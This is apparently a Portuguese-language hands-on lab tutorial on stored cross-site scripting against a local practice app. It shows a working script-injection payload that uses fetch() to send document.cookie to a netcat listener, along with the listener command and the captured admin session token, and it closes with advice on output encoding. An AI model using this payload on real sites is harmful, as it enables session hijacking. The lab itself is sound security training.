Introdução
O Stored Cross-Site Scripting (XSS Armazenado) é uma vulnerabilidade web altamente perigosa que ocorre quando uma aplicação web coleta dados de um usuário, armazena-os em um banco de dados (como em uma seção de comentários, postagem em fórum ou perfil de usuário) e, posteriormente, incorpora esses dados em uma página web sem a devida higienização.
Diferente do Reflected XSS, que exige que a vítima clique em um link especificamente criado, o Stored XSS é persistente. Uma vez que o payload malicioso é injetado no banco de dados, ele será executado automaticamente no navegador de qualquer usuário que visitar a página infectada. Isso torna a vulnerabilidade uma ferramenta extremamente potente para atacantes roubarem cookies de sessão, redirecionarem usuários ou realizarem ações não autorizadas em nome da vítima.
Essa persistência é o que torna o XSS armazenado especialmente perigoso. O atacante realiza a injeção apenas uma vez, mas a própria aplicação continua replicando o payload para todos os visitantes futuros.
Neste laboratório, você interagirá com uma aplicação web local vulnerável. Você aprenderá a identificar onde os dados do usuário são armazenados, injetar um payload JavaScript persistente e simular um cenário onde o cookie de sessão de um administrador é roubado quando ele visualiza o comentário injetado por você.
Identificar o Armazenamento de Dados (Comentários/Perfis)
Nesta etapa, você interagirá com uma aplicação web vulnerável rodando localmente em sua máquina. A aplicação possui uma seção simples de comentários onde os usuários podem publicar mensagens.
Para explorar uma vulnerabilidade de Stored XSS, primeiro você precisa identificar onde a aplicação aceita a entrada do usuário e onde essa entrada é exibida posteriormente. Usaremos a ferramenta de linha de comando curl para interagir com o servidor web.
Este é o ciclo de vida do XSS armazenado em uma frase: a entrada entra na aplicação, é armazenada e, posteriormente, renderizada no navegador de outro usuário.
Primeiro, vamos visualizar o estado atual da aplicação enviando uma requisição GET para a página principal. Execute o seguinte comando no seu terminal:
curl http://localhost:5000/
Você deverá ver uma lista de comentários vazia na saída HTML:
<h1>Comments</h1><ul></ul>
Agora, vamos enviar um comentário normal para ver como a aplicação processa e armazena nossa entrada. Usaremos o curl com a flag -X POST para enviar dados ao endpoint /post. Execute o seguinte comando:
curl -X POST -d "comment=Hello World" http://localhost:5000/post
O servidor deve responder com Comment added!.
Para verificar se sua entrada foi armazenada permanentemente no banco de dados e está sendo refletida na página web, acesse a página principal novamente:
curl http://localhost:5000/
Agora você verá seu comentário incorporado diretamente na estrutura HTML:
<h1>Comments</h1><ul><li>Hello World</li></ul>
Como a aplicação recebe nossa entrada e a coloca diretamente no HTML sem qualquer filtragem ou higienização, é altamente provável que ela seja vulnerável a Stored XSS.
Injetar Payload Persistente
Agora que confirmamos que a aplicação armazena e reflete nossa entrada, tentaremos injetar um payload JavaScript persistente.
Neste ponto, o banco de dados torna-se um mecanismo de entrega de ataques. O payload não é mais apenas texto armazenado; é um conteúdo de script futuro aguardando para ser renderizado.
Em um cenário real, se um atacante injetar uma tag <script> em uma seção de comentários vulnerável, o servidor salvará essa tag em seu banco de dados. Sempre que qualquer usuário (incluindo administradores) visitar a página de comentários, seu navegador baixará o HTML, lerá a tag <script> e executará o código do atacante.
Vamos injetar um payload clássico de prova de conceito (PoC) de XSS que dispara uma caixa de alerta no navegador. Execute o seguinte comando para publicar o comentário malicioso:
curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post
Após o servidor confirmar que o comentário foi adicionado, acesse a página principal mais uma vez para inspecionar o código-fonte HTML:
curl http://localhost:5000/
Observe atentamente a saída:
<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>
Note que o payload <script>alert('XSS')</script> é renderizado exatamente como o digitamos. A aplicação não codificou os sinais de menor e maior (< e >) em entidades HTML seguras (como < e >).
Se um usuário real abrisse esta página em um navegador como Chrome ou Firefox, o navegador interpretaria o texto injetado não como um comentário, mas como JavaScript executável, e uma caixa de alerta exibindo "XSS" apareceria imediatamente em sua tela.
Roubar Cookies de Sessão (Simulado)
Embora exibir uma caixa de alerta prove que a vulnerabilidade existe, atacantes reais usam o XSS para fins maliciosos, como o roubo de cookies de sessão. Se um atacante roubar o cookie de sessão de um administrador, ele poderá sequestrar a conta do administrador e assumir o controle total da aplicação web.
Para roubar um cookie, um atacante injeta um JavaScript que lê o document.cookie da vítima e o envia para um servidor controlado pelo atacante.
Primeiro, precisamos configurar um "ouvinte" (listener) para capturar o cookie roubado. Usaremos o utilitário nc (netcat) para escutar na porta 8000 e salvar quaisquer requisições HTTP recebidas em um arquivo chamado stolen_cookie.txt. O & no final executa este comando em segundo plano para que você possa continuar usando seu terminal.
nc -l -p 8000 > stolen_cookie.txt &
Em seguida, injetaremos nosso payload malicioso na aplicação vulnerável. Este payload usa a API fetch() do JavaScript para enviar silenciosamente uma requisição HTTP para nosso ouvinte netcat, anexando o cookie da vítima à URL.
Execute o seguinte comando para injetar o payload de roubo de cookie:
curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post
O payload agora está armazenado permanentemente no banco de dados. Ele está à espera de uma vítima para visitar a página.
Simular a Interação da Vítima
Em um ataque real, o atacante simplesmente espera que os usuários naveguem pelo site infectado. Como estamos trabalhando em um ambiente de terminal sem um navegador web gráfico, fornecemos um script Python que simula um administrador visitando a página.
Este script agirá como um navegador web: ele lerá os comentários do banco de dados, detectará a tag <script> que você injetou e a "executará" fazendo a requisição HTTP para o seu ouvinte netcat, passando um cookie de administrador simulado.
Execute o script de simulação usando o seguinte comando:
python3 simulate_victim.py
Você deverá ver uma saída indicando que o administrador simulado visitou a página e que o script injetado foi executado:
Admin victim is visiting the page...
[Browser Simulator] Executing injected script...
Quando o navegador simulado executou seu payload, ele enviou uma requisição HTTP para o ouvinte netcat que você iniciou na etapa anterior. O netcat capturou essa requisição e a salvou em stolen_cookie.txt.
Vamos inspecionar o conteúdo do arquivo para ver se capturamos com sucesso o cookie de sessão do administrador:
cat stolen_cookie.txt
Você deverá ver a requisição HTTP GET bruta capturada pelo netcat, que inclui o cookie roubado no caminho da URL:
GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Parabéns! Você explorou com sucesso uma vulnerabilidade de Stored XSS para sequestrar uma sessão de usuário simulada. Com este token admin_session, um atacante poderia modificar seus próprios cookies de navegador e se passar pelo administrador na aplicação web.
Resumo
Neste laboratório, você explorou e explorou com sucesso uma vulnerabilidade de Stored Cross-Site Scripting (XSS). Você aprendeu a identificar campos de entrada que armazenam dados de forma persistente e os refletem sem a devida higienização HTML. Em seguida, injetou payloads JavaScript básicos para confirmar a presença da vulnerabilidade. Depois, criou um payload malicioso projetado para exfiltrar dados sensíveis, como cookies de sessão, para um ouvinte externo. Finalmente, compreendeu o impacto severo do Stored XSS ao simular um cenário onde a sessão de um administrador é comprometida apenas por visualizar uma página infectada.
O Stored XSS é uma falha de segurança crítica porque não requer engenharia social após o payload ser plantado; a própria aplicação entrega o ataque aos seus usuários. Para prevenir essas vulnerabilidades, os desenvolvedores devem sempre implementar uma validação de entrada rigorosa e codificação de saída sensível ao contexto (como converter < para <) antes de renderizar dados fornecidos pelo usuário em um navegador web.



